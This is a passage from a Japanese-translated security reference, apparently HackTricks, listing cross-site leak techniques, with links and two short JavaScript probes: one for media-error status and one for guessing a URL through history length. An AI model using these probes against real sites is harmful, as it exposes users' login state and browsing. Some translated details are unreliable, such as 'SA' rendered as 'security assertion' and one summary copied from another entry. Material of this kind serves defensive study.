- **Summary:** X-Frame-Optionsヘッダーを持つリソースはリソースタイミングエントリを作成しません。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||
|
||
ページが**iframe**内で**レンダリング**されることが**許可されていない**場合、**パフォーマンスエントリを作成しません**。その結果、攻撃者は応答ヘッダー**`X-Frame-Options`**を検出できます。\
|
||
**embed** **タグ**を使用した場合も同様です。
|
||
|
||
### Download Detection
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Header
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** ダウンロードはPerformance APIにリソースタイミングエントリを作成しません。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||
|
||
前述のXS-Leakと同様に、**ContentDispositionヘッダー**によってダウンロードされる**リソース**も**パフォーマンスエントリを作成しません**。この技術はすべての主要なブラウザで機能します。
|
||
|
||
### Redirect Start Leak
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Redirect
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** リソースタイミングエントリはリダイレクトの開始時間を漏洩します。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||
|
||
一部のブラウザがクロスオリジンリクエストに対して過剰な情報を記録する動作を悪用するXS-Leakのインスタンスが見つかりました。標準では、クロスオリジンリソースに対してゼロに設定すべき属性のサブセットが定義されています。しかし、**SA**では、ターゲットページによってユーザーが**リダイレクト**されたかどうかを、**Performance API**を照会し、**redirectStartタイミングデータ**を確認することで検出できます。
|
||
|
||
### Duration Redirect Leak
|
||
|
||
- **Inclusion Methods**: Fetch API
|
||
- **Detectable Difference**: Redirect
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** リダイレクトが発生した場合、タイミングエントリの持続時間は負になります。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||
|
||
GCでは、**リダイレクト**を引き起こすリクエストの**持続時間**は**負**であり、リダイレクトが発生しないリクエストと**区別**できます。
|
||
|
||
### CORP Leak
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Header
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** CORPで保護されたリソースはリソースタイミングエントリを作成しません。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||
|
||
場合によっては、**nextHopProtocolエントリ**を漏洩技術として使用できます。GCでは、**CORPヘッダー**が設定されている場合、nextHopProtocolは**空**になります。SAでは、CORP対応リソースに対してパフォーマンスエントリがまったく作成されないことに注意してください。
|
||
|
||
### Service Worker
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: API Usage
|
||
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
||
- **Summary:** 特定のオリジンに対してサービスワーカーが登録されているかどうかを検出します。
|
||
- **Code Example**:
|
||
|
||
サービスワーカーは、オリジンで実行されるイベント駆動型スクリプトコンテキストです。これらはウェブページのバックグラウンドで実行され、リソースをインターセプト、変更、および**キャッシュ**してオフラインウェブアプリケーションを作成できます。\
|
||
**サービスワーカー**によって**キャッシュされたリソース**が**iframe**を介してアクセスされると、そのリソースは**サービスワーカーキャッシュから読み込まれます**。\
|
||
リソースが**サービスワーカー**キャッシュから**読み込まれたかどうかを検出するために、**Performance API**を使用できます。\
|
||
これもタイミング攻撃で行うことができます（詳細については論文を参照してください）。
|
||
|
||
### Cache
|
||
|
||
- **Inclusion Methods**: Fetch API
|
||
- **Detectable Difference**: Timing
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||
- **Summary:** リソースがキャッシュに保存されているかどうかを確認できます。
|
||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||
|
||
[Performance API](#performance-api)を使用して、リソースがキャッシュされているかどうかを確認できます。
|
||
|
||
### Network Duration
|
||
|
||
- **Inclusion Methods**: Fetch API
|
||
- **Detectable Difference**: Page Content
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||
- **Summary:** `performance` APIからリクエストのネットワーク持続時間を取得できます。
|
||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||
|
||
## Error Messages Technique
|
||
|
||
### Media Error
|
||
|
||
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
||
- **Detectable Difference**: Status Code
|
||
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||
- **Summary:** Firefoxでは、クロスオリジンリクエストのステータスコードを正確に漏洩させることが可能です。
|
||
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||
```javascript
|
||
// Code saved here in case it dissapear from the link
|
||
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
||
window.addEventListener("load", startup, false)
|
||
function displayErrorMessage(msg) {
|
||
document.getElementById("log").innerHTML += msg
|
||
}
|
||
|
||
function startup() {
|
||
let audioElement = document.getElementById("audio")
|
||
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
|
||
document.getElementById("startTest").addEventListener(
|
||
"click",
|
||
function () {
|
||
audioElement.src = document.getElementById("testUrl").value
|
||
},
|
||
false
|
||
)
|
||
// Create the event handler
|
||
var errHandler = function () {
|
||
let err = this.error
|
||
let message = err.message
|
||
let status = ""
|
||
|
||
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
|
||
// Firefox error.message when the request loads successfully: "Failed to init decoder"
|
||
if (
|
||
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
|
||
message.indexOf("Failed to init decoder") != -1
|
||
) {
|
||
status = "Success"
|
||
} else {
|
||
status = "Error"
|
||
}
|
||
displayErrorMessage(
|
||
"<strong>Status: " +
|
||
status +
|
||
"</strong> (Error code:" +
|
||
err.code +
|
||
" / Error Message: " +
|
||
err.message +
|
||
")<br>"
|
||
)
|
||
}
|
||
audioElement.onerror = errHandler
|
||
}
|
||
```
|
||
`MediaError`インターフェースのメッセージプロパティは、成功裏に読み込まれたリソースを一意に識別する特定の文字列を持っています。攻撃者はこの機能を利用して、メッセージの内容を観察することで、クロスオリジンリソースの応答ステータスを推測できます。
|
||
|
||
### CORSエラー
|
||
|
||
- **インクルージョンメソッド**: Fetch API
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||
- **概要:** セキュリティアサーション(SA)において、CORSエラーメッセージはリダイレクトされたリクエストの完全なURLを意図せず公開します。
|
||
- **コード例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||
|
||
この技術により、攻撃者は**クロスオリジンサイトのリダイレクト先を抽出**することができます。具体的には、**CORS対応リクエスト**がユーザーの状態に基づいてリダイレクトを発行するターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、**リダイレクトのターゲットの完全なURL**がエラーメッセージ内に開示されます。この脆弱性は、リダイレクトの事実を明らかにするだけでなく、リダイレクトのエンドポイントや含まれる可能性のある**機密のクエリパラメータ**も公開します。
|
||
|
||
### SRIエラー
|
||
|
||
- **インクルージョンメソッド**: Fetch API
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||
- **概要:** セキュリティアサーション(SA)において、CORSエラーメッセージはリダイレクトされたリクエストの完全なURLを意図せず公開します。
|
||
- **コード例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||
|
||
攻撃者は**冗長なエラーメッセージ**を利用して、クロスオリジンの応答のサイズを推測できます。これは、サブリソース整合性(SRI)のメカニズムによるもので、整合性属性を使用して、CDNから取得されたリソースが改ざんされていないことを検証します。SRIがクロスオリジンリソースで機能するためには、これらが**CORS対応**である必要があります。そうでない場合、整合性チェックの対象にはなりません。セキュリティアサーション(SA)において、CORSエラーXSリークと同様に、整合性属性を持つフェッチリクエストが失敗した後にエラーメッセージをキャプチャできます。攻撃者は、任意のリクエストの整合性属性に**偽のハッシュ値**を割り当てることで、このエラーを意図的に**トリガー**できます。SAでは、結果として得られるエラーメッセージが要求されたリソースのコンテンツ長を意図せず明らかにします。この情報漏洩により、攻撃者は応答サイズの変動を識別でき、洗練されたXSリーク攻撃への道を開きます。
|
||
|
||
### CSP違反/検出
|
||
|
||
- **インクルージョンメソッド**: ポップアップ
|
||
- **検出可能な違い**: ステータスコード
|
||
- **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||
- **概要:** CSPで被害者のウェブサイトのみを許可すると、異なるドメインにリダイレクトしようとするとCSPが検出可能なエラーをトリガーします。
|
||
- **コード例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||
|
||
XSリークは、CSPを使用してクロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出できます。このリークはリダイレクトを検出できますが、さらにリダイレクトターゲットのドメインも漏洩します。この攻撃の基本的なアイデアは、**攻撃者サイトでターゲットドメインを許可する**ことです。ターゲットドメインにリクエストが発行されると、**リダイレクト**がクロスオリジンドメインに行われます。**CSPは**そのアクセスをブロックし、**違反レポートを作成してリーク技術として使用します**。ブラウザによっては、**このレポートがリダイレクトのターゲット位置を漏洩する可能性があります**。\
|
||
最新のブラウザは、リダイレクト先のURLを示しませんが、クロスオリジンリダイレクトがトリガーされたことを検出することはできます。
|
||
|
||
### キャッシュ
|
||
|
||
- **インクルージョンメソッド**: フレーム、ポップアップ
|
||
- **検出可能な違い**: ページコンテンツ
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
||
- **概要:** キャッシュからファイルをクリアします。ターゲットページを開き、ファイルがキャッシュに存在するかどうかを確認します。
|
||
- **コード例:**
|
||
|
||
ブラウザは、すべてのウェブサイトに対して1つの共有キャッシュを使用する場合があります。オリジンに関係なく、ターゲットページが**特定のファイルを要求したかどうかを推測することが可能です**。
|
||
|
||
ページがユーザーがログインしている場合にのみ画像を読み込む場合、**リソースを無効に**し（キャッシュされていない場合はそうなります、詳細情報リンクを参照）、そのリソースを読み込む可能性のある**リクエストを実行**し、**不正なリクエスト**（例：過剰なリファラーヘッダーを使用）でリソースを読み込もうとします。リソースの読み込みが**エラーをトリガーしなかった場合**、それは**キャッシュされていた**からです。
|
||
|
||
### CSPディレクティブ
|
||
|
||
- **インクルージョンメソッド**: フレーム
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||
- **概要:** CSPヘッダーディレクティブは、CSP iframe属性を使用してプローブでき、ポリシーの詳細を明らかにします。
|
||
- **コード例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||
|
||
Google Chrome(GC)の新機能により、ウェブページはiframe要素に属性を設定することで**コンテンツセキュリティポリシー(CSP)**を提案でき、ポリシーディレクティブがHTTPリクエストと共に送信されます。通常、埋め込まれたコンテンツは**これをHTTPヘッダーを介して承認する必要があり**、さもなければ**エラーページが表示されます**。ただし、iframeがすでにCSPによって管理されており、新たに提案されたポリシーがより制限的でない場合、ページは通常通り読み込まれます。このメカニズムは、攻撃者がクロスオリジンページの**特定のCSPディレクティブを検出する**ための道を開きます。エラーページを特定することができる新しいリーク技術が発見され、根本的な問題が完全に解決されていないことを示唆しています。
|
||
|
||
### **CORP**
|
||
|
||
- **インクルージョンメソッド**: Fetch API
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
||
- **概要:** クロスオリジンリソースポリシー(CORP)で保護されたリソースは、許可されていないオリジンから取得されるとエラーを発生させます。
|
||
- **コード例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||
|
||
CORPヘッダーは比較的新しいウェブプラットフォームのセキュリティ機能で、設定されると**指定されたリソースへのno-corsクロスオリジンリクエストをブロックします**。ヘッダーの存在は検出可能で、CORPで保護されたリソースは**取得されるとエラーを発生させます**。
|
||
|
||
### CORB
|
||
|
||
- **インクルージョンメソッド**: HTML要素
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
||
- **概要**: CORBは、リクエストに**`nosniff`ヘッダーが存在するかどうかを攻撃者が検出できる**ようにします。
|
||
- **コード例**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
||
|
||
攻撃についての詳細情報はリンクを確認してください。
|
||
|
||
### オリジンリフレクションの誤設定によるCORSエラー <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
||
|
||
- **インクルージョンメソッド**: Fetch API
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||
- **概要**: Originヘッダーが`Access-Control-Allow-Origin`ヘッダーに反映されている場合、リソースがすでにキャッシュに存在するかどうかを確認できます。
|
||
- **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||
|
||
**Originヘッダー**が`Access-Control-Allow-Origin`ヘッダーに**反映されている**場合、攻撃者はこの動作を悪用して**CORSモードでリソースを取得**しようとできます。**エラー**が**トリガーされない**場合、それは**ウェブから正しく取得された**ことを意味し、エラーが**トリガーされる**場合、それは**キャッシュからアクセスされた**ことを意味します（エラーは、キャッシュが元のドメインを許可するCORSヘッダーを持つ応答を保存しているために発生します）。\
|
||
オリジンが反映されていないがワイルドカードが使用されている場合（`Access-Control-Allow-Origin: *`）、これは機能しません。
|
||
|
||
## 読み取り可能な属性技術
|
||
|
||
### フェッチリダイレクト
|
||
|
||
- **インクルージョンメソッド**: Fetch API
|
||
- **検出可能な違い**: ステータスコード
|
||
- **詳細情報**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
||
- **概要:** GCとSAは、リダイレクトが完了した後に応答のタイプ（opaque-redirect）を確認できます。
|
||
- **コード例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||
|
||
`redirect: "manual"`などのパラメータを使用してFetch APIを介してリクエストを送信すると、`response.type`属性を読み取ることができ、`opaqueredirect`と等しい場合、応答はリダイレクトでした。
|
||
|
||
### COOP
|
||
|
||
- **インクルージョンメソッド**: ポップアップ
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
||
- **概要:** クロスオリジンオープナーポリシー(COOP)で保護されたページは、クロスオリジンの相互作用からのアクセスを防ぎます。
|
||
- **コード例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||
|
||
攻撃者は、クロスオリジンHTTP応答におけるクロスオリジンオープナーポリシー(COOP)ヘッダーの存在を推測できます。COOPは、外部サイトが任意のウィンドウ参照を取得するのを妨げるためにウェブアプリケーションによって使用されます。このヘッダーの可視性は、**`contentWindow`参照にアクセスしようとすることで判断できます**。COOPが条件付きで適用されるシナリオでは、**`opener`プロパティ**が明白な指標となります：COOPが有効な場合は**未定義**であり、無効な場合は**定義されています**。
|
||
|
||
### URL最大長 - サーバーサイド
|
||
|
||
- **インクルージョンメソッド**: Fetch API、HTML要素
|
||
- **検出可能な違い**: ステータスコード / コンテンツ
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||
- **概要:** リダイレクト応答の長さの違いを検出します。サーバーがエラーで再生する可能性があるため、アラートが生成されます。
|
||
- **コード例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||
|
||
サーバーサイドリダイレクトが**リダイレクト内でユーザー入力を使用し**、**追加データ**を持つ場合、この動作を検出することが可能です。通常、**サーバー**には**リクエスト長の制限**があります。もし**ユーザーデータ**がその**長さ - 1**であれば、**リダイレクト**が**そのデータを使用し**、**何かを追加**しているため、**エラーがトリガーされ、エラーイベントを介して検出可能です**。
|
||
|
||
ユーザーにクッキーを設定できる場合、**十分なクッキーを設定することによって**この攻撃を実行することもできます（[**クッキーボム**](../hacking-with-cookies/cookie-bomb.md)）。その結果、**正しい応答のサイズが増加し**、**エラー**がトリガーされます。この場合、同じサイトからこのリクエストをトリガーすると、`<script>`が自動的にクッキーを送信するため（エラーを確認できます）。\
|
||
**クッキーボム + XS-Search**の例は、この書き込みの意図された解決策に見つけることができます: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||
|
||
`SameSite=None`または同じコンテキストにいることが、この種の攻撃には通常必要です。
|
||
|
||
### URL最大長 - クライアントサイド
|
||
|
||
- **インクルージョンメソッド**: ポップアップ
|
||
- **検出可能な違い**: ステータスコード / コンテンツ
|
||
- **詳細情報**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||
- **概要:** リダイレクト応答の長さの違いを検出します。リクエストが大きすぎるため、違いが認識される可能性があります。
|
||
- **コード例**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||
|
||
[Chromiumのドキュメント](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length)によると、Chromeの最大URL長は2MBです。
|
||
|
||
> 一般的に、_ウェブプラットフォーム_にはURLの長さに制限はありません（ただし、2^31は一般的な制限です）。_Chrome_は、実用的な理由とプロセス間通信におけるサービス拒否問題を回避するために、URLを最大**2MB**に制限しています。
|
||
|
||
したがって、**リダイレクトURLの応答が一方のケースで大きい場合**、**2MBを超えるURLでリダイレクト**させることが可能です。これが発生すると、Chromeは**`about:blank#blocked`**ページを表示します。
|
||
|
||
**顕著な違い**は、**リダイレクト**が**完了**した場合、`window.origin`が**エラー**をスローすることです。クロスオリジンはその情報にアクセスできません。しかし、**制限**が\*\*\*\*に達し、読み込まれたページが**`about:blank#blocked`**であった場合、ウィンドウの**`origin`**は**親**のものであり、これは**アクセス可能な情報**です。
|
||
|
||
**2MB**に達するために必要なすべての追加情報は、最初のURLに**ハッシュ**を追加することで追加でき、リダイレクトで**使用されます**。
|
||
|
||
{{#ref}}
|
||
url-max-length-client-side.md
|
||
{{#endref}}
|
||
|
||
### 最大リダイレクト
|
||
|
||
- **インクルージョンメソッド**: Fetch API、フレーム
|
||
- **検出可能な違い**: ステータスコード
|
||
- **詳細情報**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
||
- **概要:** ブラウザのリダイレクト制限を使用して、URLリダイレクションの発生を確認します。
|
||
- **コード例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||
|
||
ブラウザの**最大**リダイレクト数が**20**の場合、攻撃者は**19のリダイレクト**でページを読み込もうとし、最終的に**被害者**をテストされたページに送信することができます。**エラー**がトリガーされる場合、そのページは**被害者をリダイレクトしようとしていた**ことになります。
|
||
|
||
### 履歴の長さ
|
||
|
||
- **インクルージョンメソッド**: フレーム、ポップアップ
|
||
- **検出可能な違い**: リダイレクト
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||
- **概要:** JavaScriptコードがブラウザの履歴を操作し、長さプロパティでアクセスできます。
|
||
- **コード例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||
|
||
**History API**は、JavaScriptコードがブラウザの履歴を操作できるようにし、**ユーザーが訪れたページを保存します**。攻撃者は、長さプロパティをインクルージョンメソッドとして使用できます：JavaScriptとHTMLのナビゲーションを検出するために。\
|
||
**`history.length`**を確認し、ユーザーに**ページに移動**させ、**同じオリジンに戻す**ことで、**`history.length`**の新しい値を**確認**します。
|
||
|
||
### 同じURLでの履歴の長さ
|
||
|
||
- **インクルージョンメソッド**: フレーム、ポップアップ
|
||
- **検出可能な違い**: URLが推測されたものと同じかどうか
|
||
- **概要:** 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測できます。
|
||
- **コード例**: 以下
|
||
|
||
攻撃者は、JavaScriptコードを使用して**フレーム/ポップアップの位置を推測されたものに操作し**、**すぐに**それを**`about:blank`**に変更することができます。履歴の長さが増加した場合、それはURLが正しかったことを意味し、**同じであれば再読み込みされないため**、増加する時間がありました。増加しなかった場合、それは**推測されたURLを読み込もうとした**が、**すぐに**`about:blank`を読み込んだため、**履歴の長さは増加しなかった**ことを意味します。
|
||
```javascript
|
||
async function debug(win, url) {
|
||
win.location = url + "#aaa"
|
||
win.location = "about:blank"
|
||
await new Promise((r) => setTimeout(r, 500))
|
||
return win.history.length
|
||
}
|
||
|
||
win = window.open("https://example.com/?a=b")
|
||
await new Promise((r) => setTimeout(r, 2000))
|
||
console.log(await debug(win, "https://example.com/?a=c"))
|
||
|
||
win.close()
|
||
win = window.open("https://example.com/?a=b")
|
||
await new Promise((r) => setTimeout(r, 2000))
|
||
console.log(await debug(win, "https://example.com/?a=b"))
|
||
```
|
||
### フレームカウント
|
||
|
||
- **インクルージョンメソッド**: フレーム、ポップアップ
|
||
- **検出可能な違い**: ページコンテンツ
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||
- **概要:** `window.length` プロパティを調査して iframe 要素の数を評価します。
|
||
- **コード例**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||
|
||
`iframe` または `window.open` を介して開かれた **ウェブのフレームの数**をカウントすることで、**そのページ上のユーザーの状態**を特定するのに役立つかもしれません。\
|
||
さらに、ページが常に同じ数のフレームを持っている場合、フレームの数を**継続的に**チェックすることで、情報が漏洩する可能性のある**パターン**を特定するのに役立つかもしれません。
|
||
|
||
この技術の例として、Chrome では **PDF** が **フレームカウント** によって **検出** されることがあります。なぜなら、内部で `embed` が使用されているからです。`zoom`、`view`、`page`、`toolbar` などのコンテンツに対する制御を許可する [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) があり、この技術が興味深い場合があります。
|
||
|
||
### HTMLElements
|
||
|
||
- **インクルージョンメソッド**: HTML要素
|
||
- **検出可能な違い**: ページコンテンツ
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
||
- **概要:** 漏洩した値を読み取って、2つの可能な状態を区別します。
|
||
- **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||
|
||
HTML要素を通じた情報漏洩は、特にユーザー情報に基づいて動的メディアファイルが生成される場合や、メディアサイズを変更する透かしが追加される場合に、ウェブセキュリティの懸念事項です。攻撃者は、特定のHTML要素によって公開された情報を分析することで、可能な状態を区別するためにこれを悪用することができます。
|
||
|
||
### HTML要素によって公開される情報
|
||
|
||
- **HTMLMediaElement**: この要素はメディアの `duration` と `buffered` 時間を明らかにし、そのAPIを介してアクセスできます。[HTMLMediaElementについての詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||
- **HTMLVideoElement**: `videoHeight` と `videoWidth` を公開します。一部のブラウザでは、`webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount`、および `webkitDecodedFrameCount` などの追加プロパティが利用可能で、メディアコンテンツに関するより詳細な情報を提供します。[HTMLVideoElementについての詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||
- **getVideoPlaybackQuality()**: この関数は、`totalVideoFrames` を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。[getVideoPlaybackQuality()についての詳細](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||
- **HTMLImageElement**: この要素は画像の `height` と `width` を漏洩します。ただし、画像が無効な場合、これらのプロパティは0を返し、`image.decode()` 関数は拒否され、画像が正しく読み込まれなかったことを示します。[HTMLImageElementについての詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||
|
||
### CSSプロパティ
|
||
|
||
- **インクルージョンメソッド**: HTML要素
|
||
- **検出可能な違い**: ページコンテンツ
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||
- **概要:** ユーザーの状態やステータスに関連するウェブサイトのスタイリングの変化を特定します。
|
||
- **コード例**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||
|
||
ウェブアプリケーションは、ユーザーの状態に応じて**ウェブサイトのスタイリングを変更する**ことがあります。クロスオリジンのCSSファイルは、**HTMLリンク要素**を使用して攻撃者のページに埋め込むことができ、**ルール**は攻撃者のページに**適用されます**。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの**違い**を**検出**できます。\
|
||
漏洩技術として、攻撃者は `window.getComputedStyle` メソッドを使用して特定のHTML要素の**CSS**プロパティを**読み取る**ことができます。その結果、影響を受ける要素とプロパティ名が知られている場合、攻撃者は任意のCSSプロパティを読み取ることができます。
|
||
|
||
### CSS履歴
|
||
|
||
- **インクルージョンメソッド**: HTML要素
|
||
- **検出可能な違い**: ページコンテンツ
